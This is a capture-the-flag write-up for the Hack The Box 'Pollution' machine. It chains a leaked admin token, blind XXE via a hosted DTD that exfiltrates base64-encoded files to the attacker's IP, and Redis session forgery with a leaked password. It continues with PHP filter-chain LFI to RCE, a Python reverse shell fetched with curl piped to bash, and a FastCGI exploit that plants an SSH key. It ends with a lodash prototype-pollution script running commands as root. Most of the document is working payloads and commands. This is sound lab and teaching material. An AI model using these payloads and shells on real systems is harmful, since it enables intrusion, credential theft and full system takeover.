Pollution

First off, let's run nmap:

nmap -p- -T4 10.129.228.126

Result of the scan:

Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-30 10:36 EET

Nmap scan report for collect.htb (10.129.228.126)

Host is up (0.051s latency).

Not shown: 65532 closed tcp ports (conn-refused)

PORT     STATE SERVICE

22/tcp   open  ssh

80/tcp   open  http

6379/tcp open  redis

Ports 22, 80, and 6379 are open. 22 is for SSH, 80 for web and 6379 is Redis. Redis does not allow to query data without credentials so our primary target for now is port 80.

web-1

At the frontpage a domain is revealed, let's add it to out /etc/hosts - file. To open /etc/hosts type sudo nano /etc/hosts .

127.0.0.1       localhost

127.0.1.1       joonas-VirtualBox

10.129.228.126  collect.htb

# The following lines are desirable for IPv6 capable hosts

::1     ip6-localhost ip6-loopback

fe00::0 ip6-localnet

ff00::0 ip6-mcastprefix

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

There also seems to be login and register functionality. Let's create a user, in my case username is zolaboo and password is password.

register

After registering and logging in the page does not show anything interesting

web-2

Time to enumerate something else, let's scan the domain for sub-domain with wfuzz:

wfuzz -H "Host: FUZZ.collect.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --hl 541 http://collect.htb

The scan finds two sub-domains:

wfuzzresults

Next, let's also add these two subdomains to /etc/hosts . The file should now look like this:

127.0.0.1       localhost

127.0.1.1       joonas-VirtualBox

10.129.228.126  collect.htb forum.collect.htb developers.collect.htb

# The following lines are desirable for IPv6 capable hosts

::1     ip6-localhost ip6-loopback

fe00::0 ip6-localnet

ff00::0 ip6-mcastprefix

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

developers.collect.htb is protected by password:

developers-web-1

but forum.collect.htb is accessible. after reading the forum posts there's something interesting, a user has posted his proxy_history as an attachment on a post:

forum-web-1

Before downloading the file, we have to create an user. Once again in my case username is zolaboo nad password is password.

forum-web-2

Now we can download the file. It contains list of requests the user has made in XML-format. Request and response data seems to be encoded in base64. One request sticks out: Request to host http://collect.htb/set/role/admin. We can see the content by decoding the request-field like this:

echo  UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg== |base64 -d 

The result is:

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

Suggested by the name, this call sets user an admin of the collect.htb site. And since there are no parameters that selects the user, it could be the current user. Let's try that but with our own PHPSESSID. You can crab the id on firefox:

collect-storage

The request can be sent via curl:

curl --cookie "PHPSESSID=ejoc3ci871k94p40j94741u609" -d "token=ddac62a28254561001277727cb397baf" http://collect.htb/set/role/admin -v

And we get a response:

*   Trying 10.129.228.126:80...

* Connected to collect.htb (10.129.228.126) port 80 (#0)

> POST /set/role/admin HTTP/1.1

> Host: collect.htb

> User-Agent: curl/7.81.0

> Accept: */*

> Cookie: PHPSESSID=ejoc3ci871k94p40j94741u609

> Content-Length: 38

> Content-Type: application/x-www-form-urlencoded

> 

* Mark bundle as not supporting multiuse

< HTTP/1.1 302 Found

< Date: Fri, 30 Dec 2022 09:28:40 GMT

< Server: Apache/2.4.54 (Debian)

< Expires: Thu, 19 Nov 1981 08:52:00 GMT

< Cache-Control: no-store, no-cache, must-revalidate

< Pragma: no-cache

< Location: /admin

< Content-Length: 0

< Content-Type: text/html; charset=UTF-8

< 

* Connection #0 to host collect.htb left intact

The response is a redirect to /admin path which indicates that the call worked! Let's check /admin on firefox:

collect-admin

There seems to be a form to create users on this "pollution api". Let's play around with it. Before we begin, open Burp suite and set Firefox to send requests through burp using FoxyProxy:

foxy-proxy

Now, fill the form with some random username and password (user & user) in my case and once Burp captures it, send the request the repeater by pressing CTRL + R. The request looks like this:

burp-1

The api call uses XML format. Also, it does not seem to return anything interesting apart from "Status". When XML is at play usually it's a good idea to try exploiting XEE. Since we get no real output back from the call we'll use methods mentioned in this portswigger article with slight modifications.

First, setup a web server on local machine using python3:

python3 -m http.server

Next, create a file mal.dtd on same folder than the python3 server runs. The contents of the file should be the following:

    <!ENTITY % file SYSTEM 'php://filter/convert.base64-                encode/resource=index.php'>
    <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM         'http://10.10.14.64:8000/?x=%file;'>">
    %eval;
    %exfiltrate;

Basically the dtd tells the server to load the contets of resource index.php and base64-encode it. Base64 encoding is useful here since we are sending the content back to us via url-parameter.

Now, modify the api-request to fetch the dtd file from the local webserver by using payload like this:

manage_api=<!DOCTYPE foo [<!ENTITY % xxe SYSTEM

"http://10.10.14.64:8000/mal.dtd"> %xxe;]>

The api responds with an error: burp-2

But our web server get's two requests:

10.129.228.126 - - [30/Dec/2022 11:44:54] "GET /mal.dtd HTTP/1.1" 200 -
10.129.228.126 - - [30/Dec/2022 11:44:54] "GET /?x=PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK HTTP/1.1" 200 -

Since we are going to be enumerating multiple files let's use CyberChef to do the base64-decoding for us. Copy the base64-encoded string and pass it to CyberChef like this:

cyberchef-index

To check other files, we just need to change the filename after resource= text on our self hosted mal-dtd - file:

<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=FILENAME_COMES_HERE'>

By following this some interesting files are: ../bootstrap.php , /var/www/developers/.htpasswd and /var/www/developers/index.php

../bootstrap.php reveals redis password and also tells us that the PHP-sessions are stored in Redis:

<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=COLLECTR3D1SPASS');

session_start();

require '../vendor/autoload.php';

.htpasswd reveals credentials for developers.collect.htb

developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

The password is hashed, but this can be cracked via hashcat: store the hash in file called hash.txt and run hashcat:

hashcat-htpasswd

and /var/www/developers/index.php tells us the source code of developers.collect.htb

<php
require './bootstrap.php';

if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
    die(header('Location: /login.php'));
}

if (!isset($_GET['page']) or empty($_GET['page'])) {
    die(header('Location: /?page=home'));
}

$view = 1;

?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="assets/js/tailwind.js"></script>
    <title>Developers Collect</title>
</head>

<body>
    <div class="flex flex-col h-screen justify-between">
        <?php include("header.php"); ?>

        <main class="mb-auto mx-24">
            <?php include($_GET['page'] . ".php"); ?>
        </main>

        <?php include("footer.php"); ?>
    </div>

</body>

</html>

So, there is LFI to RCE vulnerability on include function, but before accessing that we need to be authenticated. Visit the page http://developers.collect.htb with the htpasswd-credentials mentioned before before proceeding so we have a session. We have no credentials for this site but since sessions are stored in Redis and we have Redis credentials we can forge our own session!

For accessing redis we need redis client, after downloading it the enumeration goes as follows:

joonas@joonas-VirtualBox:~/Documents/htb/pollution$ redis.cli -h collect.htb

collect.htb:6379> KEYS *

(error) NOAUTH Authentication required.

collect.htb:6379> AUTH COLLECTR3D1SPASS

collect.htb:6379> KEYS *

1) "PHPREDIS_SESSION:9dac31rgvsjbnkp3h2sgeb42ho"

collect.htb:6379> SET "PHPREDIS_SESSION:9dac31rgvsjbnkp3h2sgeb42ho"   "username|s:7:\"zolaboo\";auth|s:5:\"admin\";"

OK

collect.htb:6379>

Now we got in!

developers-web-2

Next step is to abuse the include-vulnerability. For this there is a good article on HackTricks which tells us how this exploit works. Also, theres a source code of the script phpfilterchain_generator here. The generated payload will use php filters which makes it a bit long and the site has limit on how many characters can be on the url so the idea is to very small php payload. One possible payload is like this:

python3 php_filter_chain_generator/php_filter_chain_generator.py --chain '<?= print_r(system($_GET["c"]));?>'

Setting this payload in the place of home-url parameter and adding our own custom c-query parameter we can now execute code!

developers-rce-1

To generate a shell first setup nc listener:

nc -lnvp 9001

After that add a file called shell.sh on the python webserver with content:

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.64",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

And set c-parameter to

curl+10.10.14.64:8000/shell.sh|bash

After executing the get request again, we have a shell!

joonas@joonas-VirtualBox:~/Documents/htb/pollution$ nc -lnvp 9001

Listening on 0.0.0.0 9001

Connection received on 10.129.186.70 39326

$ 

Running

netstat -tnlp

On the box reveals that there's three more open ports available only from localhost:

netstat -tnlp

(Not all processes could be identified, non-owned process info

 will not be shown, you would have to be root to see it all.)

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    

tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   

tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   

tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      -                   

tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   

tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -                   

tcp6       0      0 :::80                   :::*                    LISTEN      -                   

tcp6       0      0 :::22                   :::*                    LISTEN      -                   

tcp6       0      0 ::1:6379                :::*                    LISTEN      -    

3306 is for MySQL, 3000 seems to be somne kind of web api but port 9000 usually refers to FastCGI, which is vulnerable to some exploits. Also, running ps-aux reveals that user victor is running some king of fpm-command:

ps-aux

HackTricks once again has some good coverage on this. For this part, there is a ready exploit called fpm.py which you can download here.

The plan is to inject our own ssh public key to victor's authorized_keys file so we get ssh access. To run exploit use this commands on target machine:

touch test.php
python3 fpm.py -c "<?= system('echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM0NcvJ3VEgkrgQUhNKa/O1hrflzWZLwPJH58E2phA3kYOxF8BIle3x1+SnDktlQpqR7rgzCqojWRUJHpdPPbGLfZnm0mA8m1axlhxxPKB+vgESESBikvtGtY9LzbsRgs5l+L7eV4tRrs8KU+vSdMwZz7WOyJxv15o6U4EClH2sfVRgCG/hlabBAc5tcJ45pX483rbxO6aYNQbO8Zwqq3wJMYSs/41sbsCE9IGWG9464mMYlokd/ikQxPYa9Xx1wh8LmtE86o6xrEluV7q6EklbhfOcZS64dXsfLhxqYlEHklgyiVXCkLlQt0cAgb34m/w02GzkcZ+yQ/dYof27misquWA0YlSPBijFiPjxRcP2vHLpW7obBuVOvGpVANtbrEy7R6iTToA/ITU4woc1T9kB7udAXN1JeBpukccnhuRBZbZT1ANZZmdYn/i0W9uI8MjLsw+6RLQ01wE3vdvOixZgTnHllBU05gcwanhqhGgiTLgLSu+SzrRICNHyM9YheE= joonas@joonas-VirtualBox > /home/victor/.ssh/authorized_keys'); ?>" 127.0.0.1 -p 9000 /tmp/test.php 

Either generate new or use existing public key instead of the one used in the snippet above. After this we can access the box as victor.

joonas@joonas-VirtualBox:~/Documents/htb/pollution$ ssh -i id_rsa victor@collect.htb

Linux pollution 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

victor@pollution:~$ 

As Victor, we have access to the source code the application that runs on port 3000. You can download the source code to your local machine for easier time navigating between files. It is not required though.

As Victor on remote machine:

cd /home/victor
tar -cf pollution_api.tar pollution_api

On local machine:

scp -i id_rsa victor@collect.htb:/home/victor/pollution_api.tar /home/joonas/Documents/htb/pollution/
mkdir source 
tar -xf pollution_api.tar -C source/

Now, let's analyze the files. The file package.json is list of external packets used on the application. Packet lodash seems to be an old version and has many CVE:s on it with prototype pollution (fitting name for the box). Here's the link. One of the vulnerabilities is related to merge-function of lodash which is also used on the application on the messagessend function on /controllers/Messagessend.js file

messages-send

Reading more about the proptype pollution on HackTricks there's information that if code that is vulnerable to pollution is chained with system calls (exec in our case), the poisoned object's functions executed. So, what we need to do is try to call this function with our payload.

The messages_send function is only called on one of the admin routes

admin-calls

And we need to be an user with admin role to get there. Luckily, source code also has the credentials to MySQL database on file models/db.js:

const Sequelize = require('sequelize');
const sequelize = new Sequelize('pollution_api','webapp_user','Str0ngP4ssw0rdB*12@1',{
    host: '127.0.0.1',
    dialect: 'mysql',
    define: {
        charset: 'utf8',
        collate: 'utf8_general_ci',
        timestamps: true
    },
    logging: false
})

module.exports = { Sequelize, sequelize };

Even better, the password's are not even hashed so we can easily add our own admin user on the database. Let's create an admin user:

victor@pollution:~$ mysql -u webapp_user -p                                                                                              

Enter password:                                                                                                                             

Welcome to the MariaDB monitor.  Commands end with ; or \g.                                                                     

Your MariaDB connection id is 111                               

Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11                                                                                      

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.                                                                     

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.                                                           

MariaDB [(none)]> show databses;                                    

ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'databses' at line 1                                                                                                  

MariaDB [(none)]> use pollution_api;                                                                                                     

Reading table information for completion of table and column names                                                                       

You can turn off this feature to get a quicker startup with -A                                                                                                                                                                                                                    

Database changed                                                                                                                            

MariaDB [pollution_api]> describe users;                                                                                                                                                                                                                                          

+-----------+--------------+------+-----+---------+----------------+                                                                     

| Field     | Type         | Null | Key | Default | Extra          |                                                                     

+-----------+--------------+------+-----+---------+----------------+                                                                     

| id        | int(11)      | NO   | PRI | NULL    | auto_increment |                                                                        

| username  | varchar(255) | NO   | UNI | NULL    |                |                                                                        

| password  | varchar(255) | NO   |     | NULL    |                |                                                                        

| role      | varchar(255) | NO   |     | NULL    |                |                                                                        

| createdAt | datetime     | NO   |     | NULL    |                |                                                                        

| updatedAt | datetime     | NO   |     | NULL    |                |                                                                        

+-----------+--------------+------+-----+---------+----------------+                                                                        

6 rows in set (0.002 sec)                                                                                                                   
MariaDB [pollution_api]> insert into users values(123,"zolaboo","password", "admin", "2021-10-17 15:40:10", "2021-10-17 15:40:10");         

Query OK, 1 row affected (0.002 sec)                                                                                                        

MariaDB [pollution_api]> 

I created a python script that logins to the api, and after that sends the malicious payload, create file with the following content on the target machine and name it exploit.py:

import requests 

host = "http://127.0.0.1:3000/"

loginData = {
    "username": "zolaboo",
    "password": "password"
}
res = requests.post(host +'auth/login', json=loginData )
token = res.json().get("Header").get("x-access-token")

payload = {
    "text": "jees",
    "gg": {
        "__proto__": {
            "shell": "/proc/self/exe",
            "argv0": "console.log(require('child_process').execSync('cp /root/root.txt /home/victor/root.txt && chown victor:victor /home/victor/root.txt').toString())//",
            "NODE_OPTIONS": "--require /proc/self/cmdline"
        }
    }
}

headers = {
    "x-access-token": token
}

res = requests.post(host +'admin/messages/send', json=payload, headers=headers )
print(res.text)

You can run that with command

python3 exploit.py 

and after that root.txt should be on victor's home folder. GG

To be continued